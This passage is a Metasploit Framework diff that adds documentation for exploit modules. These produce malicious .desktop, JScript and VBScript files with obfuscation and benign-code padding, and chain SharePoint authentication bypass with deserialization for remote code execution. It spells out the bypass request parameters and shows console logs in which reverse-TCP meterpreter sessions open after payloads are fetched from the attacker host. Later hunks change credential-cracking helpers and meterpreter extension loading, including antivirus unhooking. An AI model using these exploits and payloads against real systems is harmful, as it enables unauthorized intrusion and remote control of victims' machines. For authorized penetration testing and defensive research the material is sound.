[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set lport 4444
|
||||
lport => 4444
|
||||
msf exploit(multi/fileformat/xdg_desktop) > set FETCH_COMMAND wget
|
||||
FETCH_COMMAND => WGET
|
||||
msf exploit(multi/fileformat/xdg_desktop) > run
|
||||
[+] msf.desktop stored at /root/.msf4/local/msf.desktop
|
||||
msf exploit(multi/fileformat/xdg_desktop) > handler -p cmd/linux/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
msf exploit(multi/fileformat/xdg_desktop) >
|
||||
[*] Sending stage (3090404 bytes) to 192.168.200.189
|
||||
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.189:35162) at 2025-07-29 02:45:34 -0400
|
||||
|
||||
msf exploit(multi/fileformat/xdg_desktop) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.200.189
|
||||
OS : LinuxMint 22.1 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,89 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module creates a Windows Script Host (WSH) JScript (.js) file.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Microsoft Windows 7 Professional SP1 (x86_64)
|
||||
* Microsoft Windows 11 Professional 21H2 (x86_64)
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### FILENAME
|
||||
|
||||
The JScript file name. (Default: `msf.js`).
|
||||
|
||||
### OBFUSCATE
|
||||
|
||||
Enable JavaScript obfuscation. (Default: `true`)
|
||||
|
||||
|
||||
## Advanced Options
|
||||
|
||||
### PrependBenignCode
|
||||
|
||||
Prepend several lines of benign code at the start of the file. (Default: `true`)
|
||||
|
||||
### PrependNewLines
|
||||
|
||||
Prepend new lines before the malicious JScript. (Default: `100`)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
On the Metasploit host:
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/fileformat/windows_script_host_jscript`
|
||||
1. Do: `set filename [filename.js]`
|
||||
1. Do: `set payload [payload]`
|
||||
1. Do: `set lhost [lhost]`
|
||||
1. Do: `set lport [lport]`
|
||||
1. Do: `run`
|
||||
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
|
||||
|
||||
On the target Windows machine:
|
||||
|
||||
1. Ensure Windows Security is disabled
|
||||
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
|
||||
1. Open the `msf.js` file
|
||||
1. If prompted to choose a program to open the file, select Windows Script Host
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Microsoft Windows 11 Professional 21H2 (x86_64)
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/windows_script_host_jscript
|
||||
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444
|
||||
lport => 4444
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) > run
|
||||
[+] msf.js stored at /root/.msf4/local/msf.js
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) >
|
||||
[*] Sending stage (203846 bytes) to 192.168.200.169
|
||||
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400
|
||||
|
||||
msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-11-PRO-X64
|
||||
OS : Windows 11 21H2 (10.0 Build 22000).
|
||||
Architecture : x64
|
||||
System Language : en_GB
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,87 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Microsoft Windows 7 Professional SP1 (x86_64)
|
||||
* Microsoft Windows 11 Professional 21H2 (x86_64)
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### FILENAME
|
||||
|
||||
The VBScript file name. (Default: `msf.vbs`).
|
||||
|
||||
### OBFUSCATE
|
||||
|
||||
Enable VBScript obfuscation. (Default: `true`)
|
||||
|
||||
|
||||
## Advanced Options
|
||||
|
||||
### PrependBenignCode
|
||||
|
||||
Prepend several lines of benign code at the start of the file. (Default: `true`)
|
||||
|
||||
### PrependNewLines
|
||||
|
||||
Prepend new lines before the malicious VBScript. (Default: `100`)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
On the Metasploit host:
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/fileformat/windows_script_host_vbscript`
|
||||
1. Do: `set filename [filename.vbs]`
|
||||
1. Do: `set payload [payload]`
|
||||
1. Do: `set lhost [lhost]`
|
||||
1. Do: `set lport [lport]`
|
||||
1. Do: `run`
|
||||
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
|
||||
|
||||
On the target Windows machine:
|
||||
|
||||
1. Ensure Windows Security is disabled
|
||||
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
|
||||
1. Open the `msf.vbs` file
|
||||
1. If prompted to choose a program to open the file, select Windows Script Host
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Microsoft Windows 11 Professional 21H2 (x86_64)
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/windows_script_host_vbscript
|
||||
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > set lport 4444
|
||||
lport => 4444
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > run
|
||||
[+] msf.vbs stored at /root/.msf4/local/msf.vbs
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > [*] Sending stage (203846 bytes) to 192.168.200.169
|
||||
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49977) at 2025-07-22 11:56:01 -0400
|
||||
|
||||
msf exploit(windows/fileformat/windows_script_host_vbscript) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-11-PRO-X64
|
||||
OS : Windows 11 21H2 (10.0 Build 22000).
|
||||
Architecture : x64
|
||||
System Language : en_GB
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
@@ -0,0 +1,191 @@
|
||||
## Vulnerable Application
|
||||
This module exploits the authentication bypass vulnerabilities `CVE-2025-49706` and `CVE-2025-53771`, and an unsafe
|
||||
deserialization vulnerability `CVE-2025-49704`, to achieve unauthenticated RCE against a vulnerable Microsoft
|
||||
SharePoint Server. The vulnerability `CVE-2025-53770` was disclosed as being a patch bypass of `CVE-2025-49704`,
|
||||
and as described by the finders, `CVE-2025-53770` targets a different endpoint within the `/_vti_bin/` URI path.
|
||||
As this exploit module does not target the endpoint associated with `CVE-2025-53770` (per the original finders),
|
||||
we believe this module is best described as exploiting `CVE-2025-49704` alone (and not `CVE-2025-53770`).
|
||||
|
||||
`CVE-2025-49706` is an authentication bypass affecting Microsoft SharePoint Server, allowing a remote unauthenticated
|
||||
attacker to reach the ToolPane page, located at the `/_layouts/15/ToolPane.aspx` URI. The auth bypass works if an
|
||||
attacker supplies the following elements to an HTTP request:
|
||||
|
||||
* An HTTP Referer header with one of the values `/_layouts/SignOut.aspx`, `/_layouts/14/SignOut.aspx`, or `/_layouts/15/SignOut.aspx`.
|
||||
* An HTTP query parameter named `DisplayMode` with the value `Edit`.
|
||||
* An HTTP query parameter with any name and the value `/ToolPane.aspx`, so long as this is the last query parameter.
|
||||
* An HTTP form parameter named `MSOTlPn_Uri` with the full URL to the `/_controltemplates/15/AclEditor.ascx` endpoint.
|
||||
|
||||
`CVE-2025-53771` is a patch bypass for `CVE-2025-49706`. By appending a trailing `/` to the target
|
||||
`/_layouts/15/ToolPane.aspx` URI, e.g. `/_layouts/15/ToolPane.aspx/` a remote unauthenticated attacker can reach
|
||||
the ToolPane page.
|
||||
|
||||
`CVE-2025-49704` is an unsafe deserialization vulnerability due to bypassing a filter list to allow the instantiation of
|
||||
`LosFormatter` and `ObjectDataProvider` in the `diffgr:diffgram` XML document, allowing us to kick off a second
|
||||
stage deserialization gadget (which will be a `TypeConfuseDelegate` + `LosFormatter` gadget chain).
|
||||
|
||||
The July 8, 2025, patch for `CVE-2025-49704` did not apply correctly to a SharePoint site that had not also manually run
|
||||
a SharePoint configuration update. The patch for `CVE-2025-49704` did not address the root cause, and instead marked the
|
||||
`Microsoft.PerformancePoint.Scorecards.Client` assembly as unsafe. The July 19, 2025, patch for `CVE-2025-53770`
|
||||
addresses the root cause of `CVE-2025-49704` and does not rely on a manual configuration update to be performed in
|
||||
order to be affective.
|
||||
|
||||
## Testing
|
||||
This exploit module has been successfully tested against the following versions:
|
||||
|
||||
* SharePoint Server 2019 `16.0.10337.12109` - This is the RTM version. Is vulnerable to all 4 CVEs. Exploitation
|
||||
is reliable.
|
||||
* SharePoint Server 2019 `16.0.10417.20018` - This is the June 2025 patch level (`KB 5002729)`. Is vulnerable to
|
||||
all 4 CVEs. Exploitation is reliable.
|
||||
* SharePoint Server 2019 `16.0.10417.20027` - This is the July 2025 patch level (`KB 5002741`). This patched
|
||||
out `CVE-2025-49704` and `CVE-2025-49706`, but is vulnerable to `CVE-2025-53770` and `CVE-2025-53771`. Exploitation is
|
||||
reliable **unless the site administrator has manually performed a configuration update**.
|
||||
|
||||
### Setup
|
||||
|
||||
Installing Microsoft SharePoint is non-trivial. This [setup guide](https://gist.github.com/testanull/e1573437f91ec3726ab5041389c6f28d)
|
||||
is a great step-by-step tutorial to get up and running.
|
||||
|
||||
After you install SharePoint, you must create a new site, bound to a new port. This is what the exploit will target.
|
||||
|
||||
_NOTE: If you enable HTTPS, you will need to manually setup certificates via IIS Manager._
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/windows/http/sharepoint_toolpane_rce`
|
||||
|
||||
Configure the target:
|
||||
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>`
|
||||
5. `set SSL true` (If targeting HTTPS)
|
||||
|
||||
Configure the payload:
|
||||
|
||||
_NOTE: If testing with the default Meterpreter payloads, you will likely need to disable Defender._
|
||||
|
||||
6. `set PAYLOAD cmd/windows/http/x64/meterpreter_reverse_tcp`
|
||||
7. `set LHOST eth0`
|
||||
8. `set LPORT 4444`
|
||||
|
||||
Run the exploit:
|
||||
|
||||
9. `check`
|
||||
10. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example 1 (cmd/windows/http/x64/meterpreter_reverse_tcp)
|
||||
|
||||
```
|
||||
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/sharepoint_toolpane_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
EXTENSIONS no Comma-separate list of extensions to load
|
||||
EXTINIT no Initialization strings for extensions
|
||||
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME ccMNrNsj no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_COMMAND is one of CURL:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(windows/http/sharepoint_toolpane_rce) > check
|
||||
[*] 192.168.86.50:80 - The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
|
||||
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
|
||||
[*] Meterpreter session 3 opened (192.168.86.122:4444 -> 192.168.86.50:62290) at 2025-07-23 12:58:41 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : TESTDOMAIN
|
||||
Logged On Users : 24
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
c:\windows\system32\inetsrv
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Example 2 (cmd/windows/generic)
|
||||
|
||||
```
|
||||
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/sharepoint_toolpane_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/generic):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD notepad.exe yes The command string to execute
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf exploit(windows/http/sharepoint_toolpane_rce) >
|
||||
```
|
||||
|
||||
You will be able to observe in Task Manager or Process Explorer that the `w3wp.exe` process has spawned `cmd.exe` which
|
||||
has spawned `notepad.exe`.
|
||||
@@ -111,20 +111,11 @@ module Metasploit
|
||||
|
||||
def ldap_auth_opts_schannel(opts, ssl)
|
||||
auth_opts = {}
|
||||
pfx_path = opts[:ldap_cert_file]
|
||||
raise Msf::ValidationError, 'The SSL option must be enabled when using Schannel authentication.' unless ssl
|
||||
raise Msf::ValidationError, 'Can not sign and seal when using Schannel authentication.' if opts.fetch(:sign_and_seal, false)
|
||||
|
||||
if pfx_path.present?
|
||||
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
|
||||
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
|
||||
end
|
||||
|
||||
begin
|
||||
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
|
||||
rescue StandardError => e
|
||||
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
|
||||
end
|
||||
if opts[:ldap_pkcs12].present?
|
||||
pkcs = opts[:ldap_pkcs12][:value]
|
||||
else
|
||||
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(
|
||||
framework: opts[:framework],
|
||||
|
||||
@@ -119,6 +119,10 @@ module Metasploit
|
||||
public_send("#{attribute}=", value)
|
||||
end
|
||||
end
|
||||
|
||||
def get_type
|
||||
self.cracker
|
||||
end
|
||||
|
||||
# This method takes a {framework.db.cred.private.jtr_format} (string), and
|
||||
# returns the string number associated to the hashcat format
|
||||
@@ -300,22 +304,19 @@ module Metasploit
|
||||
if cracker_path && ::File.file?(cracker_path)
|
||||
return cracker_path
|
||||
else
|
||||
# Look in the Environment PATH for the john binary
|
||||
if cracker == 'john'
|
||||
path = Rex::FileUtils.find_full_path('john') ||
|
||||
Rex::FileUtils.find_full_path('john.exe')
|
||||
elsif cracker == 'hashcat'
|
||||
path = Rex::FileUtils.find_full_path('hashcat') ||
|
||||
Rex::FileUtils.find_full_path('hashcat.exe')
|
||||
case cracker
|
||||
when 'hashcat'
|
||||
path = get_hashcat
|
||||
when 'john'
|
||||
path = get_john
|
||||
when 'auto'
|
||||
path = get_john || get_hashcat
|
||||
else
|
||||
raise PasswordCrackerNotFoundError, 'No suitable Cracker was selected, so a binary could not be found on the system'
|
||||
raise PasswordCrackerNotFoundError, 'No suitable Cracker was selected, so a binary could not be found on the system JOHN || HASHCAT'
|
||||
end
|
||||
raise PasswordCrackerNotFoundError, 'No suitable john/hashcat binary was found on the system' unless path && ::File.file?(path)
|
||||
|
||||
if path && ::File.file?(path)
|
||||
return path
|
||||
end
|
||||
|
||||
raise PasswordCrackerNotFoundError, 'No suitable john/hashcat binary was found on the system'
|
||||
return path
|
||||
end
|
||||
end
|
||||
|
||||
@@ -575,6 +576,20 @@ module Metasploit
|
||||
end
|
||||
cmd << hash_path
|
||||
end
|
||||
|
||||
def get_hashcat
|
||||
# Look in the Environment PATH for the hashcat binary
|
||||
self.cracker = 'hashcat'
|
||||
Rex::FileUtils.find_full_path('hashcat') ||
|
||||
Rex::FileUtils.find_full_path('hashcat.exe')
|
||||
end
|
||||
|
||||
def get_john
|
||||
self.cracker = 'john'
|
||||
# Look in the Environment PATH for the john binary
|
||||
Rex::FileUtils.find_full_path('john') ||
|
||||
Rex::FileUtils.find_full_path('john.exe')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -9,19 +9,29 @@ module Metasploit
|
||||
# @param cred [credClass] A credential from framework.db
|
||||
# @return [String] The hash in jtr format or nil on no match.
|
||||
def self.hash_to_jtr(cred)
|
||||
case cred.private.type
|
||||
when 'Metasploit::Credential::NTLMHash'
|
||||
return "#{cred.public.username}:#{cred.id}:#{cred.private.data}:::#{cred.id}"
|
||||
when 'Metasploit::Credential::PostgresMD5'
|
||||
if cred.private.jtr_format =~ /postgres|raw-md5/
|
||||
params_to_jtr(
|
||||
(cred.public.nil? ? '' : cred.public.username),
|
||||
cred.private.data,
|
||||
cred.class.model_name.element.to_sym,
|
||||
format: cred.private.jtr_format,
|
||||
db_id: cred.id
|
||||
)
|
||||
end
|
||||
|
||||
def self.params_to_jtr(username, private_data, private_type, format: nil, db_id: nil)
|
||||
case private_type
|
||||
when :ntlm_hash
|
||||
return "#{username}:#{db_id}:#{private_data}:::#{db_id}"
|
||||
when :postgres_md5
|
||||
if format =~ /postgres|raw-md5/
|
||||
# john --list=subformats | grep 'PostgreSQL MD5'
|
||||
# UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5)
|
||||
hash_string = cred.private.data
|
||||
hash_string = private_data
|
||||
hash_string.gsub!(/^md5/, '')
|
||||
return "#{cred.public.username}:$dynamic_1034$#{hash_string}:#{cred.id}:"
|
||||
return "#{username}:$dynamic_1034$#{hash_string}:#{db_id}:"
|
||||
end
|
||||
when 'Metasploit::Credential::NonreplayableHash'
|
||||
case cred.private.jtr_format
|
||||
when :nonreplayable_hash
|
||||
case format
|
||||
# oracle 11+ password hash descriptions:
|
||||
# this password is stored as a long ascii string with several sections
|
||||
# https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/
|
||||
@@ -40,33 +50,33 @@ module Metasploit
|
||||
# T: = 160 characters
|
||||
# PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+)
|
||||
when /raw-sha1|oracle11/ # oracle 11
|
||||
if cred.private.data =~ /S:([\dA-F]{60})/ # oracle 11
|
||||
return "#{cred.public.username}:#{Regexp.last_match(1)}:#{cred.id}:"
|
||||
if private_data =~ /S:([\dA-F]{60})/ # oracle 11
|
||||
return "#{username}:#{Regexp.last_match(1)}:#{db_id}:"
|
||||
end
|
||||
when /oracle12c/
|
||||
if cred.private.data =~ /T:([\dA-F]{160})/ # oracle 12c
|
||||
return "#{cred.public.username}:$oracle12c$#{Regexp.last_match(1).downcase}:#{cred.id}:"
|
||||
if private_data =~ /T:([\dA-F]{160})/ # oracle 12c
|
||||
return "#{username}:$oracle12c$#{Regexp.last_match(1).downcase}:#{db_id}:"
|
||||
end
|
||||
when /dynamic_1506/
|
||||
if cred.private.data =~ /H:([\dA-F]{32})/ # oracle 11
|
||||
return "#{cred.public.username.upcase}:$dynamic_1506$#{Regexp.last_match(1)}:#{cred.id}:"
|
||||
if private_data =~ /H:([\dA-F]{32})/ # oracle 11
|
||||
return "#{username.upcase}:$dynamic_1506$#{Regexp.last_match(1)}:#{db_id}:"
|
||||
end
|
||||
when /oracle/ # oracle
|
||||
if cred.private.jtr_format.start_with?('des') # 'des,oracle', not oracle11/12c
|
||||
return "#{cred.public.username}:O$#{cred.public.username}##{cred.private.data}:#{cred.id}:"
|
||||
if format.start_with?('des') # 'des,oracle', not oracle11/12c
|
||||
return "#{username}:O$#{username}##{private_data}:#{db_id}:"
|
||||
end
|
||||
when /md5|des|bsdi|crypt|bf|sha256|sha512|xsha512/
|
||||
# md5(crypt), des(crypt), b(crypt), sha256(crypt), sha512(crypt), xsha512
|
||||
return "#{cred.public.username}:#{cred.private.data}:::::#{cred.id}:"
|
||||
return "#{username}:#{private_data}:::::#{db_id}:"
|
||||
when /xsha/
|
||||
# xsha512
|
||||
return "#{cred.public.username}:#{cred.private.data.upcase}:::::#{cred.id}:"
|
||||
return "#{username}:#{private_data.upcase}:::::#{db_id}:"
|
||||
when /netntlm/
|
||||
return "#{cred.private.data}::::::#{cred.id}:"
|
||||
return "#{private_data}::::::#{db_id}:"
|
||||
when /qnx/
|
||||
# https://moar.so/blog/qnx-password-hash-formats.html
|
||||
hash = cred.private.data.end_with?(':0:0') ? cred.private.data : "#{cred.private.data}:0:0"
|
||||
return "#{cred.public.username}:#{hash}"
|
||||
hash = private_data.end_with?(':0:0') ? private_data : "#{private_data}:0:0"
|
||||
return "#{username}:#{hash}"
|
||||
when /Raw-MD5u/
|
||||
# This is just md5(unicode($p)), where $p is the password.
|
||||
# Avira uses to store their passwords, there may be other apps that also use this though.
|
||||
@@ -74,12 +84,12 @@ module Metasploit
|
||||
# format which is compatible, type 30, but that is listed as md5(utf16le($pass).$salt)
|
||||
# with a sample hash of b31d032cfdcf47a399990a71e43c5d2a:144816. So this just outputs
|
||||
# The hash as *hash*: so that it is both JTR and hashcat compatible
|
||||
return "#{cred.private.data}:"
|
||||
return "#{private_data}:"
|
||||
when /vnc/
|
||||
# add a beginning * if one is missing
|
||||
return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}"
|
||||
return "$vnc$#{private_data.start_with?('*') ? private_data.upcase : "*#{private_data.upcase}"}"
|
||||
when /^(krb5.|timeroast$)/
|
||||
return cred.private.data
|
||||
return private_data
|
||||
else
|
||||
# /mysql|mysql-sha1/
|
||||
# /mssql|mssql05|mssql12/
|
||||
@@ -93,9 +103,10 @@ module Metasploit
|
||||
# /mscash2/
|
||||
# This also handles *other* type credentials which aren't guaranteed to have a public
|
||||
|
||||
return "#{cred.public.nil? ? ' ' : cred.public.username}:#{cred.private.data}:#{cred.id}:"
|
||||
return "#{username}:#{private_data}:#{db_id}:"
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
module Metasploit
|
||||
module Framework
|
||||
module RailsVersionConstraint
|
||||
RAILS_VERSION = '~> 7.1.0'
|
||||
RAILS_VERSION = '~> 7.2.0'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.76"
|
||||
VERSION = "6.4.80"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -581,7 +581,13 @@ class ReadableText
|
||||
|
||||
option_tables = []
|
||||
|
||||
options_grouped_by_conditions.sort.each do |conditions, options|
|
||||
sort_by_empty_then_lexicographical = proc do |(conditions_a, _options_a), (conditions_b, _options_b)|
|
||||
next -1 if conditions_a.empty?
|
||||
next 1 if conditions_b.empty?
|
||||
conditions_a.to_s <=> conditions_b.to_s
|
||||
end
|
||||
|
||||
options_grouped_by_conditions.sort(&sort_by_empty_then_lexicographical).each do |conditions, options|
|
||||
tbl = options_table(missing, mod, options, indent)
|
||||
|
||||
next if tbl.rows.empty?
|
||||
|
||||
@@ -180,32 +180,30 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
print_warning('Meterpreter start up operations have been aborted. Use the session at your own risk.')
|
||||
return nil
|
||||
end
|
||||
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP
|
||||
if datastore['AutoUnhookProcess'] == true
|
||||
console.run_single('load unhook')
|
||||
console.run_single('unhook_pe')
|
||||
end
|
||||
|
||||
unless datastore['AutoLoadStdapi'] == false
|
||||
|
||||
session.load_stdapi
|
||||
|
||||
unless datastore['AutoSystemInfo'] == false
|
||||
session.load_session_info
|
||||
end
|
||||
|
||||
# only load priv on native windows
|
||||
# TODO: abstract this too, to remove windows stuff
|
||||
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
|
||||
session.load_priv rescue nil
|
||||
end
|
||||
end
|
||||
extensions = datastore['AutoLoadExtensions']&.delete(' ').split(',') || []
|
||||
|
||||
# BEGIN: This should be removed on MSF 7
|
||||
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP (by default unhook is first, see meterpreter_options/windows.rb)
|
||||
extensions.push('unhook') if datastore['AutoUnhookProcess'] && session.platform == 'windows'
|
||||
extensions.push('stdapi') if datastore['AutoLoadStdapi']
|
||||
extensions.push('priv') if datastore['AutoLoadStdapi'] && session.platform == 'windows'
|
||||
extensions.push('android') if session.platform == 'android'
|
||||
extensions = extensions.uniq
|
||||
# END
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
# TODO: abstract this a little, perhaps a "post load" function that removes
|
||||
# platform-specific stuff?
|
||||
if session.platform == 'android'
|
||||
session.load_android
|
||||
extensions.each do |extension|
|
||||
begin
|
||||
console.run_single("load #{extension}")
|
||||
console.run_single('unhook_pe') if extension == 'unhook'
|
||||
session.load_session_info if extension == 'stdapi' && datastore['AutoSystemInfo']
|
||||
rescue => e
|
||||
print_warning("Failed loading extension #{extension}")
|
